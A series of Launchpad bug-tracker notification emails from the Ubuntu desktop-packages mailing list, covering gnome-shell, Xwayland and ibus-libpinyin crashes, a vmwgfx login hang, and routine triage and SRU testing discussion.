/lib/x86_64-linux-gnu/libglib-2.0.so.0 + () at /usr/lib/x86_64-linux-gnu/libnm.so.0 + g_boxed_copy () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 + gjs_boxed_from_c_struct () at /usr/lib/libgjs.so.0 + gjs_value_from_g_argument () at /usr/lib/libgjs.so.0 Title: gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1762235 Title: gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() from nm_ip_address_dup() from g_boxed_copy() Status in gnome-shell package in Ubuntu: Confirmed Bug description: https://errors.ubuntu.com/problem/f00ece10287bf9cfb758c3819e2e3f6575704d10 ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: gnome-shell 3.28.0-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-13.14-generic 4.15.10 Uname: Linux 4.15.0-13-generic x86_64 ApportVersion: 2.20.9-0ubuntu4 Architecture: amd64 CrashCounter: 1 CurrentDesktop: GNOME Date: Sun Apr 8 20:57:53 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell InstallationDate: Installed on 2018-02-18 (49 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180204) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=cs_CZ.UTF-8 SHELL=/bin/bash SegvAnalysis: Segfault happened at: 0x7f8db9b994f4 :mov 0x44(%rsi),%eax PC (0x7f8db9b994f4) ok source "0x44(%rsi)" (0x3838342032313176) not located in a known VMA region (needed readable region)! destination "%eax" ok SegvReason: reading unknown VMA Signal: 11 SourcePackage: gnome-shell StacktraceTop: g_hash_table_iter_init () at /lib/x86_64-linux-gnu/libglib-2.0.so.0 () at /usr/lib/x86_64-linux-gnu/libnm.so.0 g_boxed_copy () at /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0 gjs_boxed_from_c_struct () at /usr/lib/libgjs.so.0 gjs_value_from_g_argument () at /usr/lib/libgjs.so.0 Title: gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1762235/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833324] Re: /usr/bin/gnome-shell:11:g_hash_table_iter_init:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument
*** This bug is a duplicate of bug 1762235 *** https://bugs.launchpad.net/bugs/1762235 ** This bug has been marked a duplicate of bug 1762235 gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() from nm_ip_address_dup() from g_boxed_copy() -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833324 Title: /usr/bin/gnome- shell:11:g_hash_table_iter_init:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument Status in gnome-shell package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.32.0+git20190410-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/f00ece10287bf9cfb758c3819e2e3f6575704d10 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833324/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833324] [NEW] /usr/bin/gnome-shell:11:g_hash_table_iter_init:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument
*** This bug is a duplicate of bug 1762235 *** https://bugs.launchpad.net/bugs/1762235 Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.32.0+git20190410-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/f00ece10287bf9cfb758c3819e2e3f6575704d10 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: gnome-shell (Ubuntu) Importance: Undecided Status: New ** Tags: bionic cosmic disco -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833324 Title: /usr/bin/gnome- shell:11:g_hash_table_iter_init:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument Status in gnome-shell package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.32.0+git20190410-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/f00ece10287bf9cfb758c3819e2e3f6575704d10 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833324/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833263] Re: /usr/bin/gnome-shell:11:g_str_hash:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument
This doesn't seem to be exactly the same issue as bug 1762235 so they should probably be separate for now. ** This bug is no longer a duplicate of bug 1762235 gnome-shell crashed with SIGSEGV in g_hash_table_iter_init() from nm_ip_address_dup() from g_boxed_copy() ** Summary changed: - /usr/bin/gnome-shell:11:g_str_hash:nm_ip_address_dup:g_boxed_copy:gjs_boxed_from_c_struct:gjs_value_from_g_argument + gnome-shell crashed with SIGSEGV in g_str_hash() from nm_ip_address_dup() from g_boxed_copy() from gjs_boxed_from_c_struct() from gjs_value_from_g_argument() -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1833263 Title: gnome-shell crashed with SIGSEGV in g_str_hash() from nm_ip_address_dup() from g_boxed_copy() from gjs_boxed_from_c_struct() from gjs_value_from_g_argument() Status in gnome-shell package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding gnome-shell. This problem was most recently seen with package version 3.28.4-0ubuntu18.04.1, the problem page at https://errors.ubuntu.com/problem/d5de4eff621a9ad0777d271a9aabf26458debf5a contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1833263/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1833265] Re: computer takes ages to start
The main problem I can see here is that your kernel graphics driver keeps crashing, which always starts with: [ 66.888620] vblank wait timed out on crtc 1 ** Summary changed: - laptop reported that there is a problem + computer takes ages to start ** Package changed: xorg (Ubuntu) => linux (Ubuntu) ** Summary changed: - computer takes ages to start + computer takes ages to start (Pentium T2390 + GM965) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1833265 Title: computer takes ages to start (Pentium T2390 + GM965) Status in linux package in Ubuntu: New Bug description: computer takes ages to start. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-52.56-generic 4.15.18 Uname: Linux 4.15.0-52-generic i686 .tmp.unity_support_test.0: ApportVersion: 2.20.9-0ubuntu7.6 Architecture: i386 CompositorRunning: None Date: Tue Jun 18 15:37:29 2019 DistUpgraded: 2018-10-26 13:01:13,910 DEBUG icon theme changed, re-reading DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller (primary) [8086:2a02] (rev 03) (prog-if 00 [VGA controller]) Subsystem: Toshiba America Info Systems Mobile GM965/GL960 Integrated Graphics Controller (primary) [1179:ff64] Subsystem: Toshiba America Info Systems Mobile GM965/GL960 Integrated Graphics Controller (secondary) [1179:ff64] InstallationDate: Installed on 2016-03-15 (1190 days ago) InstallationMedia: Ubuntu 14.04.4 LTS "Trusty Tahr" - Release i386 (20160217.1) MachineType: TOSHIBA Satellite L300 ProcEnviron: LANGUAGE=en_GB:en PATH=(custom, no user) LANG=en_GB.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-52-generic root=UUID=f510ae88-8078-4876-a589-6f3bbdcc970d ro quiet splash SourcePackage: xorg UpgradeStatus: Upgraded to bionic on 2018-10-26 (235 days ago) dmi.bios.date: 05/28/2008 dmi.bios.vendor: INSYDE dmi.bios.version: 1.40 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Base Board Product Name dmi.board.vendor: Intel Corp. dmi.board.version: Base Board Version dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnINSYDE:bvr1.40:bd05/28/2008:svnTOSHIBA:pnSatelliteL300:pvrPSLB0E-02H00SEN:rvnIntelCorp.:rnBaseBoardProductName:rvrBaseBoardVersion:cvnChassisManufacturer:ct1:cvrChassisVersion: dmi.product.family: Type1Family dmi.product.name: Satellite L300 dmi.product.version: PSLB0E-02H00SEN dmi.sys.vendor: TOSHIBA version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Fri Oct 26 09:59:10 2018 xserver.configfile: default xserver.errors: /dev/dri/card0: failed to set DRM interface version 1.4: Permission denied /dev/dri/card0: failed to set DRM interface version 1.4: Permission denied xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 14145 vendor SEC xserver.version: 2:1.18.4-0ubuntu0.8 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1833265/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 213149] Re: pulseaudio breaks on switching from tty7 to tty [1-6] (in and out of Gnome)
This bug is closed. I suggest if there is any problem you want fixed in current or future Ubuntu releases then please create a fresh bug by running: ubuntu-bug pulseaudio -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/213149 Title: pulseaudio breaks on switching from tty7 to tty [1-6] (in and out of Gnome) Status in pulseaudio package in Ubuntu: Won't Fix Bug description: Binary package hint: pulseaudio lsb_release -rd Description: Ubuntu hardy (development branch) Release: 8.04 $ apt-cache policy pulseaudio pulseaudio: Installed: 0.9.9-1ubuntu4 Candidate: 0.9.9-1ubuntu4 Version table: *** 0.9.9-1ubuntu4 0 500 http://archive.ubuntu.com hardy/main Packages 100 /var/lib/dpkg/status On switching for example to tty1 from X on tty7, sound drops out when using pulseaudio ( for example in mplayer ). Using alsa as default does not produce this issue. Changing the audio output to alsa produces the expected behaviour: namely, that sound is not muted or interrupted on vt change. This bug occurs when switching in and out of X with ctrl+alt+F7, ctrl+alt+F[1-6] If sound is played from the prompt in a Vt and a switch is made to another Vt it appears not to happen. For instance, starting playback mplayer (using pulse) sound is muted on change to tty1, and returns on switching back to X on tty7. The same issue occurs with Totem and the Firefox Totem plugin. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/213149/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
My test kernel can be found here, if one want to test: sudo add-apt-repository ppa:slashd/kernel-builder sudo apt-get update version: 4.15.0-53.57+hf231164v20190618b9 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1832138] Re: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it
It's working if I apply the whole chain of commit on top of Ubuntu-4.15 I'll need to talk with kernel team and see if this is feasible for an SRU. 52a59da2c439 drm/vmwgfx: Send the correct nonblock option for atomic_commit cfffdaad3db9 drm/vmwgfx: Move the stdu vblank event to atomic function b8d2ffa1798c drm/vmwgfx: Move screen object page flip to atomic function 3e67818b5a0e drm/vmwgfx: Remove drm_crtc_arm_vblank_event from atomic flush 700b155d6492 drm/vmwgfx: Move surface copy cmd to atomic function 4c7224123ecf drm/vmwgfx: Avoid iterating over display unit if crtc is available c78b765c2de0 UBUNTU: Ubuntu-4.15.0-53.57 https://www.spinics.net/lists/dri-devel/msg162472.html -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1832138 Title: Login screen never appears on vmwgfx but installing kernel >= v4.17-rc1 (or using WaylandEnable=false) fixes it Status in linux package in Ubuntu: Invalid Status in mutter package in Ubuntu: Invalid Status in linux source package in Bionic: In Progress Status in mutter source package in Bionic: Incomplete Status in linux source package in Eoan: Invalid Status in mutter source package in Eoan: Invalid Bug description: I'm running Ubuntu 18.04.2 desktop in a virtual machine under VMWare Fusion Pro V11.1.0 on MacOS Mojave 10.14.5, all on a 15inch 2018 Macbook Pro. I've been running this Ubuntu 18.04.2 VM without problem for many months without problem. Yesterday, I did 'sudo apt update; sudo apt upgrade'. Upon rebooting, the system hangs immediately after displaying the splash screen. I never see a login screen. And I can't use Ctrl+Alt+F2 to navigate to a console/tty login. I can SSH into the system however. I've found that I can work around the hang/freeze if I uncomment the following line in /etc/gdm3/custom.conf; #WaylandEnable=false After uncommenting the WaylandEnable=false line and rebooting, then I see the login prompt as expected and I can then log in and use the system normally again. After the 'apt upgrade' my system is running linux kernel 4.15.0-51, as shown in this 'uname -a' output; Linux ubuntuvm1 4.15.0-51-generic #55-Ubuntu SMP Wed May 15 14:27:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux lsb_release -a output; No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-51.55-generic 4.15.18 Uname: Linux 4.15.0-51-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.6 Architecture: amd64 CompositorRunning: None Date: Sun Jun 9 12:38:37 2019 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GpuHangFrequency: This is the first time GraphicsCard: VMware SVGA II Adapter [15ad:0405] (prog-if 00 [VGA controller]) Subsystem: VMware SVGA II Adapter [15ad:0405] InstallationDate: Installed on 2018-05-06 (399 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: VMware, Inc. VMware Virtual Platform ProcEnviron: TERM=xterm-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-51-generic root=/dev/mapper/ubuntu--vg-root ro splash net.ifnames=0 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/13/2018 dmi.bios.vendor: Phoenix Technologies LTD dmi.bios.version: 6.00 dmi.board.name: 440BX Desktop Reference Platform dmi.board.vendor: Intel Corporation dmi.board.version: None dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 1 dmi.chassis.vendor: No Enclosure dmi.chassis.version: N/A dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvr6.00:bd04/13/2018:svnVMware,Inc.:pnVMwareVirtualPlatform:pvrNone:rvnIntelCorporation:rn440BXDesktopReferencePlatform:rvrNone:cvnNoEnclosure:ct1:cvrN/A: dmi.product.name: VMware Virtual Platform dmi.product.version: None dmi.sys.vendor: VMware, Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1~18.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.8-0ubuntu0~18.04.2 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.8-0ubuntu0~18.04.2 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1832138/+subscriptions -- Mailing lis
[Desktop-packages] [Bug 208596] Re: gvfs-* need man pages
** Changed in: gvfs (Debian) Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gvfs in Ubuntu. https://bugs.launchpad.net/bugs/208596 Title: gvfs-* need man pages Status in gvfs: Fix Released Status in gvfs package in Ubuntu: Fix Released Status in gvfs package in Debian: Fix Released Bug description: the gvfs-* tools are missing man pages To manage notifications about this bug go to: https://bugs.launchpad.net/gvfs/+bug/208596/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1768166] Re: Random crashes
I followed the steps as described in #24 and have tested the new ibus-
libpinyin 1.11 in 18.04.2 for more than two weeks. So far, I have not
encountered any sudden crash problem as experienced in 1.10.
Moving the proposed upgrade of ibus-libpinyin and associated
dependencies to bionic-updates should be a no-brainer. As I mentioned
prior, I couldn't find anyone in the Chinese Ubuntu forum who is using
ibus-libpinyin. No one can tolerate an input tool that will
"eventually" crash--and cannot be recovered unless the user possesses
certain CLI skills and is willing to delete the user-established
vocabulary that is the most important part of a Chinese input method.
That said, the most important question is, whether the upgrade of ibus-
libpinyin as proposed adversely affects other packages? I have not
noticed that upgrade of ibus-libpinyin as proposed affected any of my
daily operations. One of the Chinese Ubuntu forum members ("百草谷居士") who
agreed to participate in the testing, also expressed that there is no
interference with other packages. This is what he wrote:
"功能上还是老问题：不支持拼音输入特殊符号；紧随数字的逗号和句号不能自动转换为半角符号。
然后发现汉字里面夹杂了不少表情符号，我觉得奇怪，既然可以夹杂表情符号，为什么不能加上特殊符号呢
目前在终端、gnome桌面、geany、libreoffice中使用正常。"
(No problem with gnome-terminal, gnome desktop apps, geany,
libreoffice.)
With the above-mentioned positive results, I recommend that the proposed
move should go ahead. Indeed, if Ubuntu wants to regain its China
market, this is a necessary first step.
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to ibus-libpinyin in Ubuntu.
https://bugs.launchpad.net/bugs/1768166
Title:
Random crashes
Status in ibus-libpinyin package in Ubuntu:
Fix Released
Status in libpinyin package in Ubuntu:
Fix Released
Status in ibus-libpinyin source package in Bionic:
Fix Committed
Status in libpinyin source package in Bionic:
Fix Committed
Status in ibus-libpinyin source package in Cosmic:
Fix Committed
Status in libpinyin source package in Cosmic:
Fix Committed
Bug description:
[Impact]
ibus-libpinyin has proved to crash far too often. One or more files in
~/.cache/ibus/libpinyin get corrupted somehow, and emptying that
directory allows the user to keep using ibus-libpinyin.
In disco (and eoan) ibus-libpinyin 1.11.0 and libpinyin 2.2.2 are
present, and the number of crashes has been reduced significantly:
https://errors.ubuntu.com/?package=ibus-libpinyin&period=month
Upstream ChangeLog ibus-libpinyin:
--
version 1.11.0
* fixes keypad decimal
* fixes emoji candidates
* support configurable opencc config
version 1.10.92
* fixes Enter handling
version 1.10.91
* support ime.register_trigger in lua extension
* support predicted candidates
* support emoji input
version 1.10.0
* bug fixes
version 1.9.91
* migrate to use GSettings
* fixes lyx short cut issue
version 1.9.3
* translate input method name in ibus menu
Upstream ChangeLog libpinyin:
-
version 2.2.2
* minor fixes
version 2.2.1
* fixes predicted candidates
version 2.2.0
* bug fixes
The proposal is to backport the disco versions of those packages to
bionic and cosmic in an attempt to prevent crashes. Proposed uploads
are available in this PPA:
https://launchpad.net/~gunnarhj/+archive/ubuntu/ibus-libpinyin
[Test Case]
* Install from {bionic,cosmic}-proposed:
- libpinyin13
- libpinyin-data
- ibus-libpinyin
* Use "Intelligent Pinyin" for typing and confirm that no new issues
show up when doing so.
(This is apparently not a confirmation that the upload really fixes
the bug. To compensate for that, we will await testing of the
-proposed packages by a few Chinese users before considering the
uploads verified.)
Reverse dependencies
Besides ibus-libpinyin, also fcitx-libpinyin and ibus-libzhuyin depend on
packages belonging to the libpinyin source package. So additional test measures
are:
* Install fcitx-libpinyin and ibus-libzhuyin.
* Use both those tools for typing Chinese, and confirm that you don't
observe any adverse effects of the libpinyin upgrade.
[Regression Potential]
The changes are mostly bug fixes, so the regression risk should be
limited. Also consider that the starting point is a rather unstable
functionality.
NOTE TO SRU TEAM: Please let the SRU age for longer than 7 days to get
as much testing as possible. There do not seem to be too many risky
changes carried, but such jumps in upstream versions always carry some
regression-risk.
[Original description]
I have experienced random ibus-libpinyin crashes in bionic. I cannot
reproduce it, but it occurred at least a few times, even after the
official bionic release. Same crashes were also reported in the
Ubuntu Chinese forum.
Currently, the workaround is to delete the ~/.cache/ibus/libpinyin
fold
[Desktop-packages] [Bug 1754693] Re: Xwayland/Xorg crashed with SIGSEGV in st_renderbuffer_delete() from _mesa_reference_renderbuffer_() [often when running Skype or Slack snaps]
Is this fix being backported to bionic? I am still getting crashes with the snap version of skype (8.34.0.78) on xwayland-hwe-18.04. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1754693 Title: Xwayland/Xorg crashed with SIGSEGV in st_renderbuffer_delete() from _mesa_reference_renderbuffer_() [often when running Skype or Slack snaps] Status in xorg-server package in Ubuntu: Fix Released Status in xorg-server source package in Bionic: Won't Fix Status in xorg-server-hwe-18.04 source package in Bionic: Confirmed Status in xorg-server source package in Cosmic: Fix Committed Status in xorg-server source package in Disco: Fix Released Bug description: https://errors.ubuntu.com/problem/01a80d2110a46f6b6d857ce814079646e695f4ca https://errors.ubuntu.com/problem/a1e7fe67e388164abd73462b322cb79ac2773fae --- Steps to reproduce: Install 'slack' snap: sudo snap install slack --classic Run slack: slack Instacrash. ProblemType: Crash DistroRelease: Ubuntu 18.04 Package: xwayland 2:1.19.6-1ubuntu2 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CompizPlugins: [core,composite,opengl,decor,mousepoll,grid,vpswitch,compiztoolbox,imgpng,gnomecompat,regex,move,place,resize,snap,unitymtgrabhandles,wall,animation,session,expo,workarounds,fade,ezoom,scale,unityshell] CompositorRunning: None CurrentDesktop: GNOME Date: Fri Mar 9 10:31:06 2018 DistUpgraded: 2018-03-06 13:58:47,853 DEBUG Running PostInstallScript: './xorg_fix_proprietary.py' DistroCodename: bionic DistroVariant: ubuntu EcryptfsInUse: Yes ExecutablePath: /usr/bin/Xwayland ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [8086:0412] (rev 06) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller [1043:8534] MachineType: ASUS All Series ProcCmdline: /usr/bin/Xwayland :0 -rootless -terminate -accessx -core -listen 4 -listen 5 -displayfd 6 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic root=UUID=cd444f9d-672e-4d7b-aea8-657fff0ea1f4 ro quiet splash 